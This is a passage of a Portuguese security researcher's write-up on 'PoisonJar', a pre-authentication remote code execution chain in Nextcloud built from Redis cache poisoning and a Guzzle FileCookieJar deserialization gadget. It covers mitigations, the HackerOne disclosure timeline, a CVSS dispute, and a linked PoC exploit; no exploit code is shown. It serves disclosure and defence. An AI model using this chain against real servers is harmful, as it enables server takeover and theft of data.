Enquanto o patch não chega — e como defesa em profundidade permanente — trate o Redis como o alvo crítico que ele é:
| Prioridade | Ação | Implementação |
|---|---|---|
| 🔴 Crítica | Autenticar o Redis | requirepass <senha-forte> + redis password no
Nextcloud |
| 🔴 Crítica | Isolar a rede | NetworkPolicy no K8s; firewall/Security Group liberando só o app |
| 🟠 Alta | Restringir o bind | bind 127.0.0.1 ou IP interno; nunca 0.0.0.0 exposto
|
| 🟠 Alta | Assinar o cache (HMAC) | Assinar dados cacheados com o instance secret para detectar adulteração |
| 🟡 Média | Monitorar escritas | Alertar sobre novos arquivos em
ocs-provider/ e acessos anômalos ao Redis |
Lição de arquitetura: as defesas acima partem do princípio de que a rede já
pode estar comprometida — porque, como mostra A Barreira do
Redis, "está na rede privada" não é um controle de segurança. Dados que alimentam um
unserialize() precisam ser tratados como entrada hostil — sempre.
Conclusão
O PoisonJar não depende de nenhuma vulnerabilidade de memória exótica nem de um 0-day rebuscado.
Ele é a composição de quatro decisões individualmente "aceitáveis" que, juntas, viram um RCE
pré-autenticação: um unserialize() sem restrição, um endpoint público, um gadget
conveniente no 3rdparty/ e um diretório que escapa do .htaccess.
Nenhuma dessas peças é, sozinha, "crítica". A cadeia é.
"A diferença entre um achado 'informativo' e um RCE crítico raramente está em uma única linha de código — está na capacidade de enxergar como linhas inofensivas se conectam. Deserialização insegura é a prova viva disso: o gadget já estava lá, esperando."
— Análise ERSECURITY, Maio 2026Posição do Vendor: Report, Triagem e Severidade
Um achado técnico não termina no PoC — termina no processo de divulgação. Aqui eu registro, em primeira pessoa e de forma factual, o que aconteceu depois que reportei o PoisonJar: o fluxo do report, a decisão do programa, a disputa de severidade e o contexto que cercou tudo. Inclusive onde eu mesmo errei. Faço isso no espírito da divulgação coordenada (CVD) — crítica ao processo, sem nomear pessoas.
A PoC que Enviei no Report
Este é o vídeo de prova de conceito que eu mesmo gravei e enviei junto com o report à HackerOne — a cadeia completa, do cache poisoning no Redis ao RCE como www-data, exatamente como submetida ao programa do Nextcloud.
O mesmo material de PoC enviado ao fornecedor na divulgação coordenada (CVD) — apenas para fins educacionais.
O Report e Sua Tramitação
Submeti o report em 27 de março de 2026 ao programa do Nextcloud na HackerOne, com a cadeia de exploração completa, PoC reproduzível, laboratório Docker e dois vídeos de demonstração. Declarei abertamente o uso de um LLM como auxílio à análise de código e à escrita — mas reproduzi manualmente cada passo em ambiente isolado. No mesmo dia, o report foi fechado como Duplicate de um achado pré-existente (#3570775), classificado pelo programa como Informative.
| Data | Evento |
|---|---|
| 27 Mar 2026 | Submeti o report com a cadeia RCE completa, PoC, lab e vídeos |
| 27 Mar 2026 | Fechado como Duplicate de um achado Informative (CVSS 4.7), descrito como "unserialize genérico" |
| 31 Mar 2026 | Pedi a divulgação coordenada — citando a política da HackerOne para reports informativos |
| 10 Abr 2026 | Pedido de divulgação cancelado ("pending final check") e severidade alterada de 9.8 → 2.2, sem justificativa escrita |
| 10 Abr 2026 | Contestei a ação do programa e pedi a reabertura do report — para que o resultado da reavaliação ficasse documentado |
| 22 Abr 2026 | Perguntei sobre a retroatividade do bounty (meu report é anterior ao fim do programa) — sem resposta |
| 08 Mai 2026 | Pedi novamente a divulgação/reabertura — para documentar o status do "final check" |
O Paradoxo "Duplicate + Informative"
A classificação final combinou dois rótulos que puxam em direções opostas: Duplicate diz "já conhecemos esse problema" — logo, ele é reconhecido; Informative diz "isto não tem impacto de segurança acionável" — logo, não é uma vulnerabilidade. Algo não pode ser, ao mesmo tempo, conhecido o bastante para ser duplicado e, ainda assim, não ser um problema de segurança. Reforça a inconsistência o fato de o report-pai já carregar CVSS 4.7 (Medium) — alguém, em algum momento, já tinha pontuado essa classe de bug como de severidade média.
O sink × a cadeia: o report-pai descrevia um padrão genérico de
unserialize — o sink, a porta. O meu demonstrava a cadeia de exploração
confirmada: cache poisoning → gadget FileCookieJar → bypass de
.htaccess → webshell → RCE como www-data, com PoC e vídeo. O sink é a porta; a
cadeia é a prova de que a porta abre. Deduplicar uma cadeia explorável e comprovada sob um
sink teórico é, no mínimo, discutível.
A Severidade: Onde Eu Exagerei e Onde Discordo
Vou começar admitindo o meu lado: eu exagerei no 9.8. Um 9.8 "perfeito"
pressupõe zero atrito, e aqui existe uma pré-condição real — eu preciso de acesso de
rede e escrita ao Redis para envenenar o cache. Refletir isso no vetor é trocar
AV:N por AV:A, o que me leva, honestamente, para 8.8.
Reduzir a nota, portanto, era correto. O problema não é a redução — é o
quanto e o como: a nota caiu para 2.2 sem uma justificativa
escrita que explicasse quais métricas mudaram e por quê.
E dá para ser preciso — CVSS é um vetor, não um chute. Montando na calculadora oficial do CVSS v3.1, o meu erro e as variações defensáveis ficam lado a lado com o vetor final do fornecedor:
eu (9.8) : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H <- meu exagero (AV:N ignora a rede do Redis)
honesto (8.8): CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H <- a unica correcao honesta: AV:N -> AV:A
escopo (9.6) : CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H <- cache poisoning cruza a fronteira de confianca (S:C)
piso (8.1) : CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H <- piso conservador, se o no-auth contar como AC:H
vendor (2.2) : CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:L/A:N <- o vetor do fornecedor (painel CVSS do report)
me (9.8) : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H <- my overstatement (AV:N ignores the Redis network)
honest (8.8) : CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H <- the only honest fix: AV:N -> AV:A
scope (9.6) : CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H <- cache poisoning crosses the trust boundary (S:C)
floor (8.1) : CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H <- conservative floor, if no-auth counts as AC:H
vendor (2.2) : CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:L/A:N <- the vendor's vector (report's CVSS panel)
O fornecedor publicou um vetor (ele aparece no painel de cálculo do report), mas sem justificativa escrita — e duas escolhas dele não se sustentam tecnicamente:
PR:H(privilégios altos) está errado: o gatilho é um endpoint#[PublicPage]— o atacante não precisa de privilégio nenhum no Nextcloud. O acesso ao Redis é uma posição de rede, melhor modelada comoAV:A(ouAC), nunca como privilégio na aplicação.C:N / I:L / A:N(impacto quase nulo) é o erro central: o estado final da cadeia é RCE como www-data — leitura de todos os arquivos, roubo doconfig.php, persistência. Isso éC:H / I:H / A:H, não "integridade baixa". Essa única escolha é o que esmaga a nota até 2.2.
De qualquer ângulo defensável, o número honesto fica entre 8.1 e 9.6 — ainda Alto/Crítico, porque o resultado é RCE pré-autenticação. De 9.8 para 8.8 há um argumento técnico que eu próprio assino; de 9.8 para 2.2, em silêncio, não há — ainda mais quando tratar o Redis como entrada não confiável (Kubernetes/VPC) puxa a fronteira de confiança para cima, não para baixo.
"Uma nota de CVSS sem o raciocínio por trás não é uma avaliação — é um veredito. E vereditos sem fundamentação são exatamente o que o CVSS foi criado para evitar."
— Análise ERSECURITY, Maio 2026O Contexto Honesto: Bounty e "AI Slop"
Seria desonesto contar isso só de um lado. Meu report entrou dentro da janela de uma política de bounty que oferecia até US$ 10.000 para RCE; poucas semanas depois, o fornecedor encerrou o programa de recompensas, citando publicamente uma enxurrada de reports de baixa qualidade gerados por IA — o fenômeno conhecido como "AI slop", que sufocou equipes de triagem do setor inteiro. No meio dessa onda, a minha transparência sobre o uso de LLM pode, paradoxalmente, ter ligado um alerta. É plausível que um RCE genuíno e reproduzível tenha sido varrido junto com o ruído.
Reconhecer o contexto não absolve as falhas de processo — contextualiza. Um triador exausto, mesmo assim, pode publicar um vetor CVSS ao reduzir uma nota e responder a uma disputa técnica com uma frase. O "AI slop" explica a desconfiança inicial; não explica o paradoxo lógico Duplicate + Informative, nem a queda de severidade sem justificativa, nem o silêncio que se seguiu aos meus pedidos.
O Que Eu Levo Disso
A divulgação coordenada é uma relação, não uma transação — e quando emperra, a perda é mútua. Encontrar a vulnerabilidade foi a parte fácil; o mais difícil, e o mais educativo, foi entender que segurança não é só código: é processo, confiança e como se lida com o desacordo. Daqui eu levo quatro lições práticas: documentar tudo (a linha do tempo de hoje é o argumento de amanhã), separar o sink da cadeia de forma explícita, gerenciar o ângulo "IA" com provas manuais — e calibrar o próprio CVSS com um vetor, não com um número solto.
"A diferença entre um achado 'informativo' e um RCE crítico raramente está em uma linha de código — está em enxergar como linhas inofensivas se conectam. E defender essa diferença exige um vetor, não um veredito."
— Encerramento do PoisonJarRecursos e Referências
| Tipo | Recurso | Link |
|---|---|---|
| 💻 PoC | Exploit + laboratório Docker (2 cenários, PT/EN) | GitHub |
| 📖 CWE | CWE-502: Deserialization of Untrusted Data | MITRE |
| 🐘 PHP | unserialize() — opção allowed_classes | php.net |
| 📦 Gadget | GuzzleHttp\Cookie\FileCookieJar | guzzle/guzzle |
| 🤖 TaskProcessing | API introduzida no Nextcloud 30 | Dev Manual |
| 🆙 Release Notes | Upgrade to Nextcloud 30 | Docs |
| 🐳 Docker Bug | Redis AUTH quebrado sem senha (getenv false) | Issue #1179 |
| 🐳 Docker | docker-compose sem senha no Redis | Issue #1608 |
| 🔬 Pesquisa | Wiz — ~60.000 instâncias Redis sem auth (2025) | Wiz Research |
| 🤝 Processo | HackerOne — Coordinated Vulnerability Disclosure | Docs |
| 📊 CVSS | CVSS v3.1 — Specification & Calculator | FIRST.org |
| 💰 Bounty | Updates about the Nextcloud Bug Bounty Program | Blog Nextcloud |
| 📰 Imprensa | Nextcloud ends bug bounty over low-quality AI reports | Techzine |
| 🤖 Contexto | O fenômeno do "AI slop" em bug bounties | Cybernews |